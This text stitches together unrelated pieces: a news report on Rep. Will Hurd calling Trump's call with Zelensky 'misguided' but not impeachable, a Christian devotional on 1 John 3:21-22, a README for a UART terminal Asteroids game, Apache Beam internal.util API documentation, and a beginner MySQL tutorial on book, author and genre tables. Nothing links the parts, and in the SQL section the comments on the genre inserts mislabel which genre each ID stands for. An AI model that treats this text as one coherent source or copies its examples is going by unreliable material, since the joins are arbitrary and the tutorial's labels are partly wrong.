GOP congressman says Trump call with Zelensky 'misguided' but not impeachable
by Tim PearceGOP Rep. Will Hurd of Texas is not willing to impeach President Trump on the evidence so far presented to Congress about the president’s July 25 phone call with Ukrainian President Volodymyr Zelensky.
Hurd is one of a handful of vocal Trump critics within the GOP in Congress. He is also not running for reelection in 2020.
Hurd delivered his verdict on Thursday on the fifth and likely final day of testimony for witnesses in the House impeachment investigation into Trump's July 25 phone call. The impeachment investigation began after a CIA whistleblower alleged that Trump withheld military aid from Ukraine to secure investigations into former Vice President Joe Biden.
Hurd said that Trump's request to "do us a favor" and his reference to Biden on the call were wrong.
"I believe both statements are inappropriate, misguided foreign policy, and it certainly is not how an executive currently or in the future should handle such a call," Hurd said.
"An impeachable offense should be compelling, overwhelmingly clear, and unambiguous, and it’s not something to be rushed or taken lightly," Hurd added, concluding his five minutes of questioning. "I have not heard evidence proving the president committed bribery or extortion."


July 21
Beloved, if our heart condemn us not, then have we confidence toward God. And whatsoever we ask, we receive of him, because we keep his commandments, and do those things that are pleasing in his sight. 1 John 3:21-22
You can never get away with disobeying God. Some people think they can. They think that if nobody finds out about it, it won't hurt anything. After all, God is merciful. He's not going to hold it against them, right? And if no one else knows...what's the difference?
What they don't realize is that their own hearts will start giving them problems. Their own hearts will start to condemn them. Everyone else may think they're great. They may be spouting faith talk all over the place, but when they come before God in prayer, they'll be filled with doubts and fears that keep their prayers from being answered.
That's one of the reasons why it's so important to live in obedience to the Lord.  It will give you a boldness in prayer, a boldness in faith. It will give you a confidence toward God, as the Apostle John says, that those who are trying to get away with sin don't have. I'm not saying that you have to be perfect. That you must never make a mistake. But you should walk in obedience to the light you have. Take the time to listen and be responsive to the Spirit of God. When He tells you to do something, do it.
As you do, that confidence will rise up within you. It won't be something you mentally drummed up or talked yourself into. It will just be there. Instead of being consumed with doubts and feelings that the Word of God isn't going to work for you, you'll find yourself filled with faith that it will. You'll begin to trust God and to flow with Him. You'll come to a place the Bible calls "rest in the Lord."
Remember this: Even though the eternal price for your sins has been paid, a life of disobedience will still cost you dearly. It will cost you the boldness that is rightfully yours in Jesus. It will rob you of faith and rock you with fear. Don't let the condemnation of your heart cut your confidence short. Do the things that are pleasing in God's sight and walk tall in the kingdom of God.
Scripture Reading: 1 John 3:21-22

Embedded Asteroids
1.0.0
Asteroids game for embedded platforms

Terminal-based Asteroids game for embedded platforms
This project recreates the classic Asteroids game in a terminal application (e.g PuTTY, TeraTerm) over UART protocol. This uses embedded-software library for UART abstraction, terminal functions, and task management systems. Therefore, this project can be run on any embedded platform supported for the embedded-software library. The project was developed and tested using a MSP430F5529.
The UART communication is configured to utilize the back-channel port at 460800 baud. A USB to TTL/FTDI converter is recommended. On MSP430 processors it is highly recommended to NOT use the built-in Application UART due to slow speeds.
Any terminal with Serial communication support is suitable by this README will discuss configuration using PuTTY.
With the terminal open and the code running, type "$game fly1 play" to start playing the game
This project uses embedded-software library. Please download and refer to library documentation to configure the project for your embedded platform.

apache_beam.internal.util module¶
Utility functions used throughout the package.
For internal use only. No backwards compatibility guarantees.
-
class
apache_beam.internal.util.
ArgumentPlaceholder
[source]¶ Bases:
future.types.newobject.newobject
For internal use only; no backwards-compatibility guarantees.
A place holder object replacing PValues in argument lists.
A Fn object can take any number of “side inputs”, which are PValues that will be evaluated during pipeline execution and will be provided to the function at the moment of its execution as positional or keyword arguments.
This is used only internally and should never be used by user code. A custom Fn object by the time it executes will have such values replaced with real computed values.
-
apache_beam.internal.util.
remove_objects_from_args
(args, kwargs, pvalue_classes)[source]¶ For internal use only; no backwards-compatibility guarantees.
Replaces all objects of a given type in args/kwargs with a placeholder.
Parameters: - args – A list of positional arguments.
- kwargs – A dictionary of keyword arguments.
- pvalue_classes – A tuple of class objects representing the types of the arguments that must be replaced with a placeholder value (instance of ArgumentPlaceholder)
Returns: A 3-tuple containing a modified list of positional arguments, a modified dictionary of keyword arguments, and a list of all objects replaced with a placeholder value.
-
apache_beam.internal.util.
insert_values_in_args
(args, kwargs, values)[source]¶ For internal use only; no backwards-compatibility guarantees.
Replaces all placeholders in args/kwargs with actual values.
Parameters: - args – A list of positional arguments.
- kwargs – A dictionary of keyword arguments.
- values – A list of values that will be used to replace placeholder values.
Returns: A 2-tuple containing a modified list of positional arguments, and a modified dictionary of keyword arguments.
-
apache_beam.internal.util.
run_using_threadpool
(fn_to_execute, inputs, pool_size)[source]¶ For internal use only; no backwards-compatibility guarantees.
Runs the given function on given inputs using a thread pool.
Parameters: - fn_to_execute – Function to execute
- inputs – Inputs on which given function will be executed in parallel.
- pool_size – Size of thread pool.
Returns: Results retrieved after executing the given function on given inputs.

Get all columns and rows of a table.
SELECT * FROM books;
+----+----------------------------+-----------+
| id | name | author_id |
+----+----------------------------+-----------+
| 1 | Brief History of Time | 1 |
| 2 | Pilgrim at Tinker Creek | 2 |
| 3 | Tickets for a Prayer Wheel | 2 |
| 4 | For the Time Being | 2 |

Get only the names of books with "Time" in the name.
SELECT name FROM books WHERE name LIKE '%Time%';
+-----------------------+
| name |
+-----------------------+
| Brief History of Time |

+-----------------------+
Get a book using it's id
SELECT name FROM books WHERE id = 2;
+-------------------------+
| name |
+-------------------------+
| Pilgrim at Tinker Creek |
+-------------------------+
mysql> select * from authors;
+----+------------+-----------+
| id | first_name | last_name |
+----+------------+-----------+
| 1 | Stephen | Hawking |
| 2 | Anne | Dillard |
+----+------------+-----------+
2 rows in set (0.00 sec)
Fix the spelling of Dillard's first name.
UPDATE authors SET first_name = "Annie" WHERE id = 2;
mysql> select * from authors;
+----+------------+-----------+
| id | first_name | last_name |
+----+------------+-----------+
| 1 | Stephen | Hawking |
| 2 | Annie | Dillard |
+----+------------+-----------+
Say we no longer carry Annie Dillard's "Tickets for a Prayer Wheel".
DELETE FROM books WHERE id = 3;
+----+-------------------------+-----------+
| id | name | author_id |
+----+-------------------------+-----------+
| 1 | Brief History of Time | 1 |
| 2 | Pilgrim at Tinker Creek | 2 |
| 4 | For the Time Being | 2 |
+----+-------------------------+-----------+
Join tables to get the author's info along with the book.
SELECT * FROM books AS b, authors AS a WHERE b.author_id = a.id;
+----+-------------------------+-----------+----+------------+-----------+
| id | name | author_id | id | first_name | last_name |
+----+-------------------------+-----------+----+------------+-----------+
| 1 | Brief History of Time | 1 | 1 | Stephen | Hawking |
| 2 | Pilgrim at Tinker Creek | 2 | 2 | Annie | Dillard |
| 4 | For the Time Being | 2 | 2 | Annie | Dillard |
+----+-------------------------+-----------+----+------------+-----------+
Now lets remove dupe columns and only get the author's first and last name.
SELECT b.*, a.first_name, a.last_name FROM books AS b, authors AS a
WHERE b.author_id = a.id;
+----+-------------------------+-----------+------------+-----------+
| id | name | author_id | first_name | last_name |
+----+-------------------------+-----------+------------+-----------+
| 1 | Brief History of Time | 1 | Stephen | Hawking |
| 2 | Pilgrim at Tinker Creek | 2 | Annie | Dillard |
| 4 | For the Time Being | 2 | Annie | Dillard |
+----+-------------------------+-----------+------------+-----------+
But you can't say a book "has many" authors!
Right. Those were technically "Belongs To" relationships.
Get all books by Annie Dillard:
mysql> SELECT b.* FROM books AS b, authors AS a WHERE a.id = b.author_id
AND a.last_name = "Dillard";
+----+-------------------------+-----------+
| id | name | author_id |
+----+-------------------------+-----------+
| 2 | Pilgrim at Tinker Creek | 2 |
| 4 | For the Time Being | 2 |
+----+-------------------------+-----------+
First let's create a genre table and populate it.
CREATE TABLE genre (
id int auto_increment,
name varchar(128) NOT NULL,
PRIMARY KEY (id)
);
mysql> select * from genre;
+----+------------+
| id | name |
+----+------------+
| 1 | Science |
| 2 | Nonfiction |
| 3 | Fiction |
| 4 | Poetry |
+----+------------+
4 rows in set (0.01 sec)
How do we connect genres to books?
Answer: With another TABLE! :D
CREATE TABLE book_genre (
book_id int NOT NULL,
genre_id int NOT NULL,
PRIMARY KEY (book_id, genre_id)
);
Now let's create some connections
INSERT INTO book_genre VALUES (1,1); -- Brief History of Time -> Nonfiction
INSERT INTO book_genre VALUES (1,2); -- Brief History of Time -> Science
INSERT INTO book_genre VALUES (2,2); -- Pilgrim at Tinker Creek -> Nonfiction
Now we can get all books of a genre:
mysql> SELECT b.* FROM books AS b, genre AS g, book_genre AS bg
WHERE b.id = bg.book_id AND g.id = bg.genre_id AND g.name = "Nonfiction";
+----+-------------------------+-----------+
| id | name | author_id |
+----+-------------------------+-----------+
| 1 | Brief History of Time | 1 |
| 2 | Pilgrim at Tinker Creek | 2 |
+----+-------------------------+-----------+
Or get all of a book's genres:
mysql> SELECT g.name FROM books AS b, genre AS g, book_genre AS bg
WHERE b.id = bg.book_id AND g.id = bg.genre_id
AND b.name = "Brief History of Time";
+------------+
| name |
+------------+
| Science |
| Nonfiction |
+------------+
